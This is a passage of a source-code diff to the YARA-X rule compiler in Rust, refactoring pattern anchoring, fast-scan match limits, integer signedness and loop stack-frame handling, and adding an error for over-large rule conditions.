.expect("calling `raise` from outside `try` block"); + + instr.br_if(innermost_handler.block_id); + innermost_handler.used = true; +} + /// Similar to [`throw_undef`], but throws the exception if the top of the /// stack is zero. If the top of the stack is non-zero, calling this function /// is a no-op. @@ -2965,14 +3419,13 @@ fn throw_undef_if_zero(ctx: &mut EmitContext, instr: &mut InstrSeqBuilder) { // stack. instr.unop(UnaryOp::I64Eqz); instr.if_else( - I64, + None, |then| { // Is zero, throw exception throw_undef(ctx, then); }, - |else_| { - // Non-zero, put back the value into the stack. - else_.local_get(tmp); - }, + |_| {}, ); + // Non-zero, put back the value into the stack. + instr.local_get(tmp); } diff --git a/lib/src/compiler/errors.rs b/lib/src/compiler/errors.rs index 7287844b3..4010703bf 100644 --- a/lib/src/compiler/errors.rs +++ b/lib/src/compiler/errors.rs @@ -75,6 +75,7 @@ pub enum CompileError { ArbitraryRegexpPrefix(Box), AssignmentMismatch(Box), CircularIncludes(Box), + ConditionTooLarge(Box), ConflictingRuleIdentifier(Box), CustomError(Box), DuplicateModifier(Box), @@ -963,6 +964,16 @@ pub struct TooManyVariables { error_loc: CodeLoc, } +/// Rule condition is too large. +#[derive(ErrorStruct, Clone, Debug, PartialEq, Eq)] +#[associated_enum(CompileError)] +#[error(code = "E048", title = "condition is too large")] +#[label("the condition of this rule is too large", error_loc)] +pub struct ConditionTooLarge { + report: Report, + error_loc: CodeLoc, +} + /// A custom error has occurred. #[derive(ErrorStruct, Clone, Debug, PartialEq, Eq)] #[associated_enum(CompileError)] diff --git a/lib/src/compiler/ir/ast2ir.rs b/lib/src/compiler/ir/ast2ir.rs index c7ebac798..aff014927 100644 --- a/lib/src/compiler/ir/ast2ir.rs +++ b/lib/src/compiler/ir/ast2ir.rs @@ -5,12 +5,14 @@ use std::cell::RefCell; use std::collections::BTreeSet; use std::hash::{Hash, Hasher}; use std::iter; -use std::ops::RangeInclusive; +use std::num::NonZeroU32; +use std::ops::{ControlFlow, RangeInclusive}; use std::rc::Rc; use bstr::{BString, ByteSlice}; +use indexmap::IndexMap; use itertools::Itertools; -use rustc_hash::{FxHashMap, FxHashSet, FxHasher}; +use rustc_hash::{FxHashSet, FxHasher}; use yara_x_parser::Span; use yara_x_parser::ast; use yara_x_parser::ast::WithSpan; @@ -32,7 +34,7 @@ use crate::compiler::ir::{ use crate::compiler::report::{Level, ReportBuilder}; use crate::compiler::{ CompileContext, CompileError, FilesizeBounds, ForVars, HeaderConstraint, - PatternIdx, RegexId, RegexSetId, TextPatternAsHex, warnings, + LiteralSetId, PatternIdx, RegexSetId, TextPatternAsHex, warnings, }; use crate::errors::CustomError; use crate::errors::{MethodNotAllowedInWith, PotentiallySlowLoop}; @@ -40,9 +42,7 @@ use crate::re; use crate::re::parser::CaseSensitiveness; use crate::symbols::{Symbol, SymbolLookup, SymbolTable}; use crate::types::Value::Const; -use crate::types::{ - IntegerConstraint, Map, Regexp, StringConstraint, Type, TypeValue, -}; +use crate::types::{Map, Regexp, StringConstraint, Type, TypeValue}; use crate::warnings::UnsatisfiableExpression; /// How many patterns a rule can have. If a rule has more than this number of @@ -265,7 +265,6 @@ pub(in crate::compiler) fn text_pattern_from_ast<'src>( identifier: pattern.identifier.clone(), in_use: false, span: pattern.span(), - fast_scan_allowed: true, pattern: Pattern::Text(LiteralPattern { flags, text, @@ -275,6 +274,7 @@ pub(in crate::compiler) fn text_pattern_from_ast<'src>( anchored_at: None, filesize_bounds: FilesizeBounds::default(), header_constraints: HeaderConstraint::default(), + max_matches_in_fast_scan: NonZeroU32::new(1), }), }) } @@ -326,13 +326,13 @@ pub(in crate::compiler) fn hex_pattern_from_ast<'src>( identifier: pattern.identifier.clone(), in_use: false, span: pattern.span(), - fast_scan_allowed: true, pattern: Pattern::Hex(RegexpPattern { hir, flags: pattern_flags, anchored_at: None, filesize_bounds: FilesizeBounds::default(), header_constraints: HeaderConstraint::default(), + max_matches_in_fast_scan: NonZeroU32::new(1), }), }) } @@ -465,21 +465,21 @@ pub(in crate::compiler) fn regexp_pattern_from_ast<'src>( identifier: pattern.identifier.clone(), in_use: false, span: pattern.span(), - fast_scan_allowed: true, pattern: Pattern::Regexp(RegexpPattern { flags, hir, anchored_at: None, filesize_bounds: FilesizeBounds::default(), header_constraints: HeaderConstraint::default(), + max_matches_in_fast_scan: NonZeroU32::new(1), }), }) } /// Given the AST for some expression, creates its IR. -fn expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, ) -> Result { let expr = match expr { ast::Expr::Entrypoint { span } => { @@ -506,9 +506,9 @@ fn expr_from_ast( ctx.ir.constant(TypeValue::const_bool_from(false)) } - ast::Expr::LiteralInteger(lit) => { - ctx.ir.constant(TypeValue::const_integer_from(lit.value)) - } + ast::Expr::LiteralInteger(lit) => ctx.ir.constant( + TypeValue::const_integer_from_bits(lit.value, lit.is_unsigned), + ), ast::Expr::LiteralFloat(lit) => { ctx.ir.constant(TypeValue::const_float_from(lit.value)) @@ -526,7 +526,7 @@ fn expr_from_ast( re_error_to_compile_error(ctx.report_builder, regexp, err) })?; - hir.build_automata().map_err(|err| { + re::hir::Hir::build_automata(&[hir]).map_err(|err| { InvalidRegexp::build( ctx.report_builder, err.to_string(), @@ -585,38 +585,36 @@ fn expr_from_ast( // expression with an integer constant (e.g: `pe.is_signed == 0`). // This is quite common in YARA rules, it is accepted without // errors, but a warning is raised. - let replacement = - match (lhs_expr.type_value(), rhs_expr.type_value()) { - ( - TypeValue::Bool { .. }, - TypeValue::Integer { value: Const(0), .. }, - ) => Some(( - ctx.ir.not(lhs), - format!( - "not {}", - ctx.report_builder.get_snippet(lhs_span) - ), - )), - ( - TypeValue::Integer { value: Const(0), .. }, - TypeValue::Bool { .. }, - ) => Some(( - ctx.ir.not(rhs), - format!( - "not {}", - ctx.report_builder.get_snippet(rhs_span) - ), - )), - ( - TypeValue::Bool { .. }, - TypeValue::Integer { value: Const(1), .. }, - ) => Some((lhs, ctx.report_builder.get_snippet(lhs_span))), - ( - TypeValue::Integer { value: Const(1), .. }, - TypeValue::Bool { .. }, - ) => Some((rhs, ctx.report_builder.get_snippet(rhs_span))), - _ => None, - }; + let lhs_tv = lhs_expr.type_value(); + let rhs_tv = rhs_expr.type_value(); + let replacement = match ( + &lhs_tv, + lhs_tv.try_as_const_i128(), + &rhs_tv, + rhs_tv.try_as_const_i128(), + ) { + (TypeValue::Bool { .. }, _, _, Some(0)) => Some(( + ctx.ir.not(lhs), + format!( + "not {}", + ctx.report_builder.get_snippet(lhs_span) + ), + )), + (_, Some(0), TypeValue::Bool { .. }, _) => Some(( + ctx.ir.not(rhs), + format!( + "not {}", + ctx.report_builder.get_snippet(rhs_span) + ), + )), + (TypeValue::Bool { .. }, _, _, Some(1)) => { + Some((lhs, ctx.report_builder.get_snippet(lhs_span))) + } + (_, Some(1), TypeValue::Bool { .. }, _) => { + Some((rhs, ctx.report_builder.get_snippet(rhs_span))) + } + _ => None, + }; if let Some((replacement_expr, replacement)) = replacement { let code_loc = ctx.report_builder.span_to_code_loc(span); @@ -785,24 +783,11 @@ fn expr_from_ast( ) } _ => { - let at = match anchor { - MatchAnchor::At(expr) => { - ctx.ir.get(expr).try_as_const_integer() - } - _ => None, - }; - let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; pattern.mark_as_used(); - if let Some(offset) = at { - pattern.anchor_at(offset as usize); - } else { - pattern.make_non_anchorable(); - } - if !matches!(anchor, MatchAnchor::None) { pattern.disallow_fast_scan(); } @@ -840,19 +825,13 @@ fn expr_from_ast( let range = range_from_ast(ctx, range)?; let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used().disallow_fast_scan(); ctx.ir.pattern_count(pattern_idx, Some(range)) } (_, None) => { let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used(); ctx.ir.pattern_count(pattern_idx, None) } } @@ -888,19 +867,13 @@ fn expr_from_ast( integer_in_range_from_ast(ctx, index, 1..=i64::MAX)?; let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used().disallow_fast_scan(); ctx.ir.pattern_offset(pattern_idx, Some(range)) } (_, None) => { let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used().disallow_fast_scan(); ctx.ir.pattern_offset(pattern_idx, None) } } @@ -936,19 +909,13 @@ fn expr_from_ast( integer_in_range_from_ast(ctx, index, 1..=i64::MAX)?; let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used().disallow_fast_scan(); ctx.ir.pattern_length(pattern_idx, Some(index)) } (_, None) => { let (pattern_idx, pattern) = ctx.get_pattern_mut(&p.identifier)?; - pattern - .make_non_anchorable() - .mark_as_used() - .disallow_fast_scan(); + pattern.mark_as_used().disallow_fast_scan(); ctx.ir.pattern_length(pattern_idx, None) } } @@ -998,9 +965,9 @@ fn expr_from_ast( Ok(expr) } -pub(in crate::compiler) fn rule_condition_from_ast( - ctx: &mut CompileContext, - rule: &ast::Rule, +pub(in crate::compiler) fn rule_condition_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + rule: &'src ast::Rule<'src>, ) -> Result { // Start with clean IR tree. ctx.ir.clear(); @@ -1028,12 +995,153 @@ pub(in crate::compiler) fn rule_condition_from_ast( ctx.ir.root = Some(condition); + // Now that the full IR tree has been built and every node's parent is + // recorded in `ctx.ir`, traverse the condition to compute the fast-scan + // match limit for each unbounded pattern count (`#a`). + // + // Unlike range-bounded counts (`#a in (..)`), offsets (`@a`), or lengths + // (`!a`)—which immediately disallow fast-scan during AST-to-IR conversion— + // the number of matches required for `#a` depends on its parent expression + // in the IR (e.g., `#a > 1000` requires 1001 matches, `#a < 1000` requires + // 1000 matches, while `#a == #b` requires tracking all matches). + for event in ctx.ir.dfs_iter(condition) { + if let dfs::Event::Enter(( + expr_id, + Expr::PatternCount { pattern, range: None }, + _, + )) = event + { + let limit = ctx.ir.required_matches_for_count(expr_id); + ctx.current_rule_patterns[pattern.as_usize()] + .update_max_matches_in_fast_scan(limit); + } + } + + anchor_patterns(ctx); + check_unintended_patterns_in_sets(ctx, &rule.condition); + Ok(condition) } -fn bool_expr_from_ast( - ctx: &mut CompileContext, - ast: &ast::Expr, +/// Traverses the rule's condition IR and determines which patterns can be +/// anchored at a fixed offset. +fn anchor_patterns(ctx: &mut CompileContext) { + // Identify patterns that are unconditionally required to match at a + // constant offset for the rule's condition to be true (e.g., `$a at 0` + // in `all of them and $a at 0`). + let mut top_level_anchors = vec![None; ctx.current_rule_patterns.len()]; + + ctx.ir.find_top_level_anchors(|pattern, offset| { + top_level_anchors[pattern.as_usize()] = Some(offset); + }); + + for event in ctx.ir.dfs_iter(ctx.ir.root.unwrap()) { + match event { + dfs::Event::Enter(( + _, + Expr::PatternMatch { pattern, anchor }, + _, + )) => match anchor { + // `$a at `: anchor `$a` if `` is a compile-time + // constant; otherwise `$a` cannot be anchored at a fixed + // offset. + MatchAnchor::At(expr) => { + if let Some(offset) = + ctx.ir.get(*expr).try_as_const_integer() + && let Ok(offset) = usize::try_from(offset) + { + ctx.current_rule_patterns[pattern.as_usize()] + .anchor_at(offset); + } else { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + } + // Unanchored `$a`: if `$a` is also anchored at the top level + // (e.g., `$a and $a at 0`), ignore this unanchored use so `$a` + // can remain anchored. + MatchAnchor::None + if top_level_anchors[pattern.as_usize()].is_some() => {} + // `$a in (..)` or unanchored `$a` without a top-level anchor + // (e.g., `$a at 0 or $a`): `$a` can match at arbitrary offsets + // and must be marked non-anchorable. + _ => { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + }, + dfs::Event::Enter((_, Expr::OfPatternSet(of), _)) => { + match of.anchor { + // ` of () at `: anchor all + // patterns in the set if `` is a constant, or mark + // them non-anchorable otherwise. + MatchAnchor::At(expr) => { + let anchor_at = + ctx.ir.get(expr).try_as_const_integer().and_then( + |offset| usize::try_from(offset).ok(), + ); + for pattern in &of.items { + let pattern = &mut ctx.current_rule_patterns + [pattern.as_usize()]; + if let Some(offset) = anchor_at { + pattern.anchor_at(offset); + } else { + pattern.make_non_anchorable(); + } + } + } + // Unanchored ` of ()` (e.g., + // `all of them`): keep any pattern that has a top-level + // anchor (such as `$dollar` in `all of them and $dollar at 0`) + // anchorable, and mark the rest non-anchorable. + MatchAnchor::None => { + for pattern in &of.items { + if top_level_anchors[pattern.as_usize()].is_none() + { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + } + } + // ` of () in (..)`: all patterns + // in the set can match anywhere within the range and must + // be marked non-anchorable. + _ => { + for pattern in &of.items { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + } + } + } + // Patterns referenced in `for of : (..)` + // cannot be anchored. + dfs::Event::Enter((_, Expr::ForOf(for_of), _)) => { + for pattern in &for_of.pattern_set { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + } + // `#a`, `@a`, and `!a` require finding matches across the input, + // so `$a` cannot be anchored. + dfs::Event::Enter(( + _, + Expr::PatternCount { pattern, .. } + | Expr::PatternOffset { pattern, .. } + | Expr::PatternLength { pattern, .. }, + _, + )) => { + ctx.current_rule_patterns[pattern.as_usize()] + .make_non_anchorable(); + } + _ => {} + } + } +} + +fn bool_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + ast: &ast::Expr<'src>, ) -> Result { let expr = expr_from_ast(ctx, ast)?; @@ -1095,8 +1203,8 @@ fn bool_expr_from_ast( None, )); } - type_value => { - warn_if_not_bool(ctx, type_value.ty(), ast.span()); + _ => { + warn_if_not_bool(ctx, expr, ast.span()); } } @@ -1117,11 +1225,13 @@ impl OfItems { } } -fn of_expr_from_ast( - ctx: &mut CompileContext, - of: &ast::Of, +fn of_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + of: &ast::Of<'src>, ) -> Result { - let quantifier = quantifier_from_ast(ctx, &of.quantifier)?; + // Reserve the loop's stack frame before compiling `quantifier` because + // `for_vars` (`n` and `i`) are already live in `emit_for` when `quantifier` + // is evaluated; see `for_in_expr_from_ast` for details. let mut stack_frame = ctx.vars.new_frame(VarStack::OF_FRAME_SIZE).ok_or_else(|| { TooManyVariables::build( @@ -1129,6 +1239,7 @@ fn of_expr_from_ast( ctx.report_builder.span_to_code_loc(of.span()), ) })?; + let quantifier = quantifier_from_ast(ctx, &of.quantifier)?; let (items, next_item_var) = match &of.items { // `x of (, , ...)` @@ -1228,18 +1339,18 @@ fn of_expr_from_ast( Quantifier::All => items.len() > 1, // ` of at : the warning is raised if is // 2 or more. - Quantifier::Expr(expr) => match ctx.ir.get(*expr).type_value() { - TypeValue::Integer { value: Const(value), .. } => value >= 2, - _ => false, - }, + Quantifier::Expr(expr) => matches!( + ctx.ir.get(*expr).type_value().try_as_const_i128(), + Some(value) if value >= 2 + ), // `% of at : the warning is raised if the // percent of the items is 2 or more. Quantifier::Percentage(expr) => { - match ctx.ir.get(*expr).type_value() { - TypeValue::Integer { - value: Const(percentage), .. - } => items.len() as f64 * percentage as f64 / 100.0 >= 2.0, - _ => false, + match ctx.ir.get(*expr).type_value().try_as_const_i128() { + Some(percentage) => { + items.len() as f64 * percentage as f64 / 100.0 >= 2.0 + } + None => false, } } Quantifier::None | Quantifier::Any => false, @@ -1259,6 +1370,15 @@ fn of_expr_from_ast( let anchor = anchor_from_ast(ctx, &of.anchor)?; + if !matches!(anchor, MatchAnchor::None) + && let OfItems::PatternSet(ref pattern_set) = items + { + for &pattern_idx in pattern_set { + ctx.current_rule_patterns[pattern_idx.as_usize()] + .disallow_fast_scan(); + } + } + ctx.vars.unwind(&stack_frame); let expr = match items { @@ -1275,12 +1395,13 @@ fn of_expr_from_ast( Ok(expr) } -fn for_of_expr_from_ast( - ctx: &mut CompileContext, - for_of: &ast::ForOf, +fn for_of_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + for_of: &ast::ForOf<'src>, ) -> Result { - let quantifier = quantifier_from_ast(ctx, &for_of.quantifier)?; - let pattern_set = pattern_set_from_ast(ctx, &for_of.pattern_set)?; + // Reserve the loop's stack frame before compiling `quantifier` because + // `for_vars` (`n` and `i`) are already live in `emit_for` when `quantifier` + // is evaluated; see `for_in_expr_from_ast` for details. let mut stack_frame = ctx.vars.new_frame(VarStack::FOR_OF_FRAME_SIZE).ok_or_else(|| { TooManyVariables::build( @@ -1289,6 +1410,9 @@ fn for_of_expr_from_ast( ) })?; + let quantifier = quantifier_from_ast(ctx, &for_of.quantifier)?; + let pattern_set = pattern_set_from_ast(ctx, &for_of.pattern_set)?; + let for_vars = ForVars { n: stack_frame.new_var(Type::Integer), i: stack_frame.new_var(Type::Integer), @@ -1303,7 +1427,7 @@ fn for_of_expr_from_ast( "$", Symbol::Var { var: for_vars.item, - type_value: TypeValue::unknown_integer(), + type_value: TypeValue::unknown_signed_integer(), }, ); @@ -1312,32 +1436,53 @@ fn for_of_expr_from_ast( let body = bool_expr_from_ast(ctx, &for_of.body)?; - let mut allow_fast_scan = true; + // Traverse the loop's body to determine how the anonymous pattern variable + // (`$`, `#`, `@`, `!`) is used, and compute the fast-scan match limit that + // must be applied to all patterns in `pattern_set`: + // + // - By default, `max_matches` starts at 1 (suitable when the body only + // performs un-anchored boolean checks like `$`). + // - If the body uses `@` (`PatternOffsetVar`), `!` (`PatternLengthVar`), + // `# in (..)` (`PatternCountVar` with a range), or an anchored `$` + // (`$ at ..` / `$ in (..)`), all matches must be tracked and we can stop + // the traversal early. + // - If the body uses an unbounded `#` (`PatternCountVar` with `range: None`, + // e.g. `# > 10`), `required_matches_for_count` inspects the parent + // comparison node to determine how many matches are needed, and we keep + // the maximum required count across all uses in the body. + let mut max_matches = NonZeroU32::new(1); for event in ctx.ir.dfs_iter(body) { - if let dfs::Event::Enter((_, expr, _)) = event - && (matches!( - expr, - Expr::PatternCountVar { .. } - | Expr::PatternOffsetVar { .. } - | Expr::PatternLengthVar { .. } - ) || (match expr { - Expr::PatternMatchVar { anchor, .. } => { - !matches!(anchor, MatchAnchor::None) + if let dfs::Event::Enter((expr_id, expr, _)) = event { + let limit = match expr { + Expr::PatternOffsetVar { .. } + | Expr::PatternLengthVar { .. } + | Expr::PatternCountVar { range: Some(_), .. } => None, + Expr::PatternMatchVar { anchor, .. } + if !matches!(anchor, MatchAnchor::None) => + { + None } - _ => false, - })) - { - allow_fast_scan = false; - break; + Expr::PatternCountVar { range: None, .. } => { + ctx.ir.required_matches_for_count(expr_id) + } + _ => continue, + }; + + max_matches = match (max_matches, limit) { + (Some(curr), Some(new)) => Some(curr.max(new)), + _ => None, + }; + + if max_matches.is_none() { + break; + } } } - if !allow_fast_scan { - for &pattern_idx in &pattern_set { - ctx.current_rule_patterns[pattern_idx.as_usize()] - .disallow_fast_scan(); - } + for &pattern_idx in &pattern_set { + ctx.current_rule_patterns[pattern_idx.as_usize()] + .update_max_matches_in_fast_scan(max_matches); } ctx.for_of_depth -= 1; @@ -1389,7 +1534,7 @@ fn is_potentially_large_range(ctx: &CompileContext, range: &Range) -> bool { func.signature .mangled_name .as_str() - .eq("math.min@a:i,b:i@i") + .eq("math.min@a:i64,b:i64@i64") } else { false } @@ -1398,10 +1543,26 @@ fn is_potentially_large_range(ctx: &CompileContext, range: &Range) -> bool { .is_some() } -fn for_in_expr_from_ast( - ctx: &mut CompileContext, - for_in: &ast::ForIn, +fn for_in_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + for_in: &ast::ForIn<'src>, ) -> Result { + // Reserve the loop's stack frame before compiling `quantifier` and + // `iterable`. At runtime (`emit_for` / `emit_for_in_expr_tuple`), the + // loop's `for_vars` (`n` and `i`) are already initialized and live while + // `quantifier` and `iterable` tuple expressions are evaluated, so any + // nested `with`, `for`, or `of` inside them must get higher variable slots + // instead of reusing and overwriting `for_vars`. This also guarantees that + // all variables inside the loop's subtree have indices `>= for_vars.n`, + // which `IR::hoisting` relies on when shifting variables. + let mut stack_frame = + ctx.vars.new_frame(VarStack::FOR_IN_FRAME_SIZE).ok_or_else(|| { + TooManyVariables::build( + ctx.report_builder, + ctx.report_builder.span_to_code_loc(for_in.span()), + ) + })?; + let quantifier = quantifier_from_ast(ctx, &for_in.quantifier)?; let iterable = iterable_from_ast(ctx, &for_in.iterable)?; @@ -1444,7 +1605,7 @@ fn for_in_expr_from_ast( }) } } - (vec![TypeValue::unknown_integer()], Type::Unknown) + (vec![TypeValue::unknown_signed_integer()], Type::Unknown) } Iterable::ExprTuple(expressions) => { // All expressions in the tuple have the same type, we can use @@ -1454,22 +1615,42 @@ fn for_in_expr_from_ast( // type as the first item in the tuple, but we don't want to // clone its actual value if known. The actual value for the // loop variable is not known until the loop is executed. - ( - vec![ - expressions - .first() - .map(|node_idx| ctx.ir.get(*node_idx).type_value()) - .unwrap() - .clone_without_value(), - ], - Type::Unknown, - ) + let mut type_value = expressions + .first() + .map(|node_idx| ctx.ir.get(*node_idx).type_value()) + .unwrap() + .clone_without_value(); + + // If the items are integers, the loop variable is unsigned when + // at least one of the items is unsigned, which is the same rule + // used for determining the signedness of arithmetic operations. + // In that case the signed items are interpreted as unsigned, and + // negative constants change their values. + if type_value.ty() == Type::Integer { + if ctx.ir.is_unsigned_result(expressions) { + type_value = TypeValue::unknown_unsigned_integer(); + if let ast::Iterable::ExprTuple(items) = &for_in.iterable { + for (item, ast_item) in iter::zip(expressions, items) { + warn_if_sign_conversion( + ctx, + *item, + ast_item.span(), + &type_value, + ); + } + } + } else { + type_value = TypeValue::unknown_signed_integer(); + } + } + + (vec![type_value], Type::Unknown) } Iterable::Expr(expr) => match ctx.ir.get(*expr).type_value() { TypeValue::Array(array) => (vec![array.deputy()], Type::Array), TypeValue::Map(map) => match map.as_ref() { Map::IntegerKeys { .. } => ( - vec![TypeValue::unknown_integer(), map.deputy()], + vec![TypeValue::unknown_signed_integer(), map.deputy()], Type::Map, ), Map::StringKeys { .. } => ( @@ -1499,14 +1680,6 @@ fn for_in_expr_from_ast( )); } - let mut stack_frame = - ctx.vars.new_frame(VarStack::FOR_IN_FRAME_SIZE).ok_or_else(|| { - TooManyVariables::build( - ctx.report_builder, - ctx.report_builder.span_to_code_loc(for_in.span()), - ) - })?; - let for_vars = ForVars { n: stack_frame.new_var(Type::Integer), i: stack_frame.new_var(Type::Integer), @@ -1542,9 +1715,9 @@ fn for_in_expr_from_ast( Ok(ctx.ir.for_in(quantifier, variables, for_vars, iterable, body)) } -fn with_expr_from_ast( - ctx: &mut CompileContext, - with: &ast::With, +fn with_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + with: &ast::With<'src>, ) -> Result { // Create stack frame with capacity for the with statement variables let mut stack_frame = ctx @@ -1614,9 +1787,9 @@ fn with_expr_from_ast( Ok(ctx.ir.with(declarations, body)) } -fn iterable_from_ast( - ctx: &mut CompileContext, - iter: &ast::Iterable, +fn iterable_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + iter: &ast::Iterable<'src>, ) -> Result { match iter { ast::Iterable::Range(range) => { @@ -1667,9 +1840,9 @@ fn iterable_from_ast( } } -fn anchor_from_ast( - ctx: &mut CompileContext, - anchor: &Option, +fn anchor_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + anchor: &Option>, ) -> Result { match anchor { Some(ast::MatchAnchor::At(at_)) => { @@ -1682,9 +1855,9 @@ fn anchor_from_ast( } } -fn range_from_ast( - ctx: &mut CompileContext, - range: &ast::Range, +fn range_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + range: &ast::Range<'src>, ) -> Result { let lower_bound = non_negative_integer_from_ast(ctx, &range.lower_bound)?; let upper_bound = non_negative_integer_from_ast(ctx, &range.upper_bound)?; @@ -1693,12 +1866,9 @@ fn range_from_ast( // that lower_bound <= upper_bound. If they are not know (because they are // variables, for example) we can't raise an error at compile time, but it // will be handled at scan time. - if let ( - TypeValue::Integer { value: Const(lower_bound), .. }, - TypeValue::Integer { value: Const(upper_bound), .. }, - ) = ( - ctx.ir.get(lower_bound).type_value(), - ctx.ir.get(upper_bound).type_value(), + if let (Some(lower_bound), Some(upper_bound)) = ( + ctx.ir.get(lower_bound).type_value().try_as_const_i128(), + ctx.ir.get(upper_bound).type_value().try_as_const_i128(), ) && lower_bound > upper_bound { return Err(InvalidRange::build( @@ -1713,31 +1883,37 @@ fn range_from_ast( Ok(Range { lower_bound, upper_bound }) } -fn non_negative_integer_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn non_negative_integer_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, ) -> Result { let span = expr.span(); let expr = expr_from_ast(ctx, expr)?; check_type(ctx, expr, span.clone(), &[Type::Integer])?; - let type_value = ctx.ir.get(expr).type_value(); - if let TypeValue::Integer { value: Const(value), .. } = type_value - && value < 0 - { - return Err(UnexpectedNegativeNumber::build( - ctx.report_builder, - ctx.report_builder.span_to_code_loc(span), - )); + if let Some(value) = ctx.ir.get(expr).type_value().try_as_const_i128() { + if value < 0 { + return Err(UnexpectedNegativeNumber::build( + ctx.report_builder, + ctx.report_builder.span_to_code_loc(span), + )); + } else if value > i64::MAX as i128 { + return Err(NumberOutOfRange::build( + ctx.report_builder, + 0, + i64::MAX, + ctx.report_builder.span_to_code_loc(span), + )); + } } Ok(expr) } -fn integer_in_range_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn integer_in_range_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, range: RangeInclusive, ) -> Result { let span = expr.span(); @@ -1747,10 +1923,8 @@ fn integer_in_range_from_ast( // If the value is known at compile time make sure that it is within // the given range. - let type_value = ctx.ir.get(expr).type_value(); - - if let TypeValue::Integer { value: Const(value), .. } = type_value - && !range.contains(&value) + if let Some(value) = ctx.ir.get(expr).type_value().try_as_const_i128() + && !(*range.start() as i128..=*range.end() as i128).contains(&value) { return Err(NumberOutOfRange::build( ctx.report_builder, @@ -1763,9 +1937,9 @@ fn integer_in_range_from_ast( Ok(expr) } -fn quantifier_from_ast( - ctx: &mut CompileContext, - quantifier: &ast::Quantifier, +fn quantifier_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + quantifier: &ast::Quantifier<'src>, ) -> Result { match quantifier { ast::Quantifier::None { .. } => Ok(Quantifier::None), @@ -1785,9 +1959,9 @@ fn quantifier_from_ast( } } -fn pattern_set_from_ast( - ctx: &mut CompileContext, - pattern_set: &ast::PatternSet, +fn pattern_set_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + pattern_set: &ast::PatternSet<'src>, ) -> Result, CompileError> { match pattern_set { // `x of them` @@ -1800,10 +1974,9 @@ fn pattern_set_from_ast( )); } - // Make all the patterns in the set non-anchorable and mark them - // as used. + // Mark all the patterns in the set as used. for pattern in ctx.current_rule_patterns.iter_mut() { - pattern.make_non_anchorable().mark_as_used(); + pattern.mark_as_used(); } let pattern_indexes: Vec = @@ -1848,9 +2021,8 @@ fn pattern_set_from_ast( // check if some of them matches the identifier. if set.iter().any(|p| p.matches(pattern.identifier())) { pattern_indexes.push(i.into()); - // All the patterns in the set are made non-anchorable, and - // marked as used. - pattern.make_non_anchorable().mark_as_used(); + // All the patterns in the set are marked as used. + pattern.mark_as_used(); } } @@ -1859,9 +2031,393 @@ fn pattern_set_from_ast( } } -fn func_call_from_ast( - ctx: &mut CompileContext, - func_call: &ast::FuncCall, +/// Represents a single conjunctive branch (a set of condition sub-expressions +/// that must be true at the same time, i.e., joined by `AND` operators within +/// an execution path). +#[derive(Clone, Debug, Default)] +pub(crate) struct ConjunctiveBranch<'src> { + exprs: Vec<&'src ast::Expr<'src>>, +} + +impl<'src> ConjunctiveBranch<'src> { + /// Returns the AST sub-expressions in this conjunctive branch. + #[inline] + pub fn exprs(&self) -> &[&'src ast::Expr<'src>] { + &self.exprs + } + + /// Merges another conjunctive branch into this branch. + #[allow(dead_code)] + pub fn merge(&mut self, other: &ConjunctiveBranch<'src>) { + self.exprs.extend_from_slice(&other.exprs); + } +} + +/// Container for all conjunctive branches of an AST expression tree. +#[derive(Clone, Debug)] +pub(crate) struct ConjunctiveBranches<'src> { + branches: Vec>, +} + +/// Stack frame representing an execution step during iterative DNF AST +/// expansion. +enum Frame<'src> { + /// Evaluates a sequence of child AST sub-expressions sequentially, + /// passing accumulated conjunctive branches from one child to the next. + Sequence { + exprs: Box> + 'src>, + branches: Vec>, + }, + /// Evaluates disjunctive (`OR`) alternative branches independently, + /// feeding each operand a snapshot of the input branches and combining + /// the resulting branches from all operands. + Disjunction { + operands: Box> + 'src>, + branches: Vec>, + results: Vec>, + }, +} + +impl<'src> ConjunctiveBranches<'src> { + /// Maximum number of conjunctive branches to extract before capping + /// expansion (prevents exponential growth on complex boolean trees). + const MAX_BRANCHES: usize = 256; + + /// Decomposes an AST expression tree into its conjunctive branches. + /// + /// The conjunctive branch decomposition algorithm converts a boolean AST + /// tree into Disjunctive Normal Form (DNF) execution paths (conjunctive + /// branches). Each `ConjunctiveBranch` represents a set of terms that must + /// be true at the same time in a single execution path of the rule + 